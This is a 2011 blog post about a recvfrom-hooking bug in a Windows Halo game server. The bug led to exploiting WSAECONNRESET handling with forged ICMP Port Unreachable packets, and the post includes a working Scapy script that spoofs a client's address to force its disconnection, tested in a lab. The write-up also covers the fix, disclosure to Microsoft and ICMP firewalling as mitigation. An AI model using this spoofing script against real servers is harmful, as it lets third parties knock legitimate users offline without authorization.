Wednesday 12 October 2011

Recvfrom Problems & Forging ICMP Unreachable Packets

This post will explain how you can use forged ICMP Destination Unreachable packets to attack a vulnerable application. The goal is to attack a server and disconnect an arbitrary connected client. I will begin by explaining a bug I encountered while working on a program. This bug was an indicator that the application was vulnerable to the attack I'm about to describe. So just to be clear, at the end of this post we will attack the application I'll describe in the beginning of this post. Hence it's worth reading the first part of this blog post ;)

The Bug: Recvfrom Problems

I was reverse engineering a server application and adding a feature that allows you to ban IP's and subnets on an application level. This was accomplished by injecting a custom build DLL and detouring the recvfrom function (the application in question only uses UDP and is for Windows). Basically whenever the server called recvfrom it got redirected to my own function called dt_recvfrom. In the beginning dt_rcvfrom looked like this (the code is explained in words below the code fragment):

 int WINAPI dt_recvfrom(SOCKET s, char *buff, int len, int flags,  
    sockaddr *from, int *fromlen)  
 {  
    int rval;  
      
    // Always save the source IP and port of the packet  
    sockaddr_storage localFrom;  
    int localFromlen = sizeof(localFrom);  
    memset(&localFrom, 0, sizeof(localFrom));  
   
    // Call the true recvfrom function and exit if there was an error  
    rval = truerecvfrom(s, buff, len, flags, (sockaddr*)&localFrom, &localFromlen);  
    if(rval == SOCKET_ERROR)  
       return SOCKET_ERROR;  
      
    // Correctly set from and fromlen argument if not NULL  
    if(from != NULL && fromlen != NULL)  
    {  
       if(*fromlen < localFromlen)  
       {  
          // The fromlen parameter is too small to accommodate  
          // the source address of the peer address  
          WSASetLastError(WSAEFAULT);  
          return SOCKET_ERROR;  
       }  
   
       // Save the values  
       memcpy(from, &localFrom, localFromlen);  
       *fromlen = localFromlen;  
    }  
      
    // If banned, ignore packet  
    if(IsBanned((sockaddr*)&localFrom))  
    {  
       // MSDN: "If the connection has been gracefully closed,  
       // the return value is zero"  
       return 0;  
    }  
      
    return rval;  
 }  

The function first declares its own from and fromlen variables. It has to do this because recvfrom is allowed to called with NULL values for both these parameters. And in our example we must always save the source address because we want to ban certain IP's or subnets. We then call the true recvfrom function using the appropriate arguments. When an error occurs we simply pass it along to the caller. Otherwise we copy the from and fromlen values to the actual arguments if needed. Finally we check if the source address has been banned. If so we return the value zero which signifies that the connection has been gracefully closed, which seems to be a decent option to let the program know it should no longer expect data from that source address.

My question for you is: Can you spot the mistake in this code? Yes, the code above contains an error.

A hint is that the code incorrectly handles a specific error returned by the true recvfrom function.

Another hint is that in my case this caused the following bug: At random times an arbitrary client would receive a message telling that his connection had been closed down. This client was removed because the server deemed it as disconnected.

What goes wrong is that the recvfrom function can return the error code WSAECONNRESET. That's right, when you're trying to receive UDP packets you can actually get a connection reset error. Reading the documentation we get the following: "WSAECONNRESET: The virtual circuit was reset by the remote side executing a hard or abortive close. The application should close the socket; it is no longer usable. On a UDP-datagram socket this error indicates a previous send operation resulted in an ICMP Port Unreachable message". So when a host receives an ICMP Destination Unreachable packet and its data field contains an IP and UDP header, the host will attempt to forward this error to the socket that previously attempted to send that data. The problem with our code is that if an WSAECONNRESET is returned we do not copy the local from and fromlen variables to the arguments of the caller! They are only copied when no error is returned!

So what happened in my case is that recvfrom would return WSAECONNRESET, but because the from and fromlen arguments weren't updated, those argument still contained old values. At times those old values contained the addresses of connected clients. These connected clients were then deemed as disconnected and removed from the server. This is illustrated by the following code that the application probably uses:

 rval = recvfrom(s, buff, len, fromAddress, fromlen);  
 if(rval == SOCKET_ERROR)  
 {  
    if(WSAGetLastError() == WSAECONNRESET)  
       removeClient(fromAddress);  
 }  

So whenever the server receives an ICMP Destination Unreachable it will remove the client. Thus the correct code for our dt_recvfrom function is (only the relevant part is shown):

 rval = truerecvfrom(s, buff, len, flags, (sockaddr*)&localFrom, &localFromlen);  
 // Correctly set from argument if not NULL  
 if(from != NULL && fromlen != NULL)  
 {  
    if(*fromlen < localFromlen)  
    {  
       // The fromlen parameter is too small to accommodate
       // the source address of the peer address  
       WSASetLastError(WSAEFAULT);  
       return SOCKET_ERROR;  
    }  
    // Save the values  
    memcpy(from, &localFrom, localFromlen);  
    *fromlen = localFromlen;  
 }  
 if(rval == SOCKET_ERROR)  
    return SOCKET_ERROR;  

Even the correctness of this code can be discussed. After all, is it a good idea to potentially return the error code WSAEFAULT while true recvfrom returned a different error code? We will not divulge in this discussion and simply assume this code will do.

Forging ICMP Destination Unreachable Packets

Since you've read the title of this post you might already have an idea how we can launch an attack in this situation. If we know the IP and port of a client connected to the server, we can forge an ICMP Destination Unreachable packet that looks as if it came from the connected client. The server will then remove the client and close the (logical) connection. Sending fake packets is easy using Scapy (a Python library). The following python code will send a fake ICMP Destination Unreachable packet with a source address of 192.168.234.1 to 192.168.234.131 telling the host that the UDP packet send from 192.168.234.131:2302 failed to reach the host 192.168.234.1:2305. Read that last line again. And once more to properly understand what's going on. Good.

 from scapy.all import *  
   
 client = "192.168.234.1"  
 clientPort = 2305  
 server = "192.168.234.131"  
 serverPort = 2302  
   
 ip = IP()  
 icmp = ICMP()  
   
 ip.dst = server  
 ip.src = client  
   
 icmp.type = 3 # Destination Unreachable  
 icmp.code = 3 # Port unreachable  
   
 ipfail = IP()  
 udpfail = UDP()  
   
 ipfail.dst = client  
 ipfail.src = server  
   
 udpfail.dport = clientPort  
 udpfail.sport = serverPort  
   
 send(ip/icmp/ipfail/udpfail)  

Let's test this attack against the program I was working on: the Halo server. A virtual machine running Windows Server 2003 is running a halo server on 192.168.234.131:2302. The host of the virtual machine will act as a client and connect to the server using its IP 192.168.234.1:2305. This is shown in the image below:


In a second virtual machine I'm running Backtrack 5 R1. The IP of this machine is 192.168.234.130 but this will be irrelevant for us. Using Backtrack I will execute the python code shown above (of course I already included the correct IP addresses in that code ;) to forge an ICMP Destination Unreachable packet. Lo and behold, the client gets a game closed down message!



This happens because the server removed the client from its player list and is no longer sending data to the client. The client will then think the server closed down.

Conclusion

Forging ICMP messages is a known attack. I have also contacted Microsoft about the bug in Halo and they replied that this is a common attack scenario. They also said that this is one of the reasons Windows allows ICMP firewalling. Hence people can simply block these packets.

When designing an application it's not necessarily wrong to trust the WSAECONNRESET error message. In some cases this behavior could be useful (e.g., in a trusted networked). Of course it's still best to avoid it using it!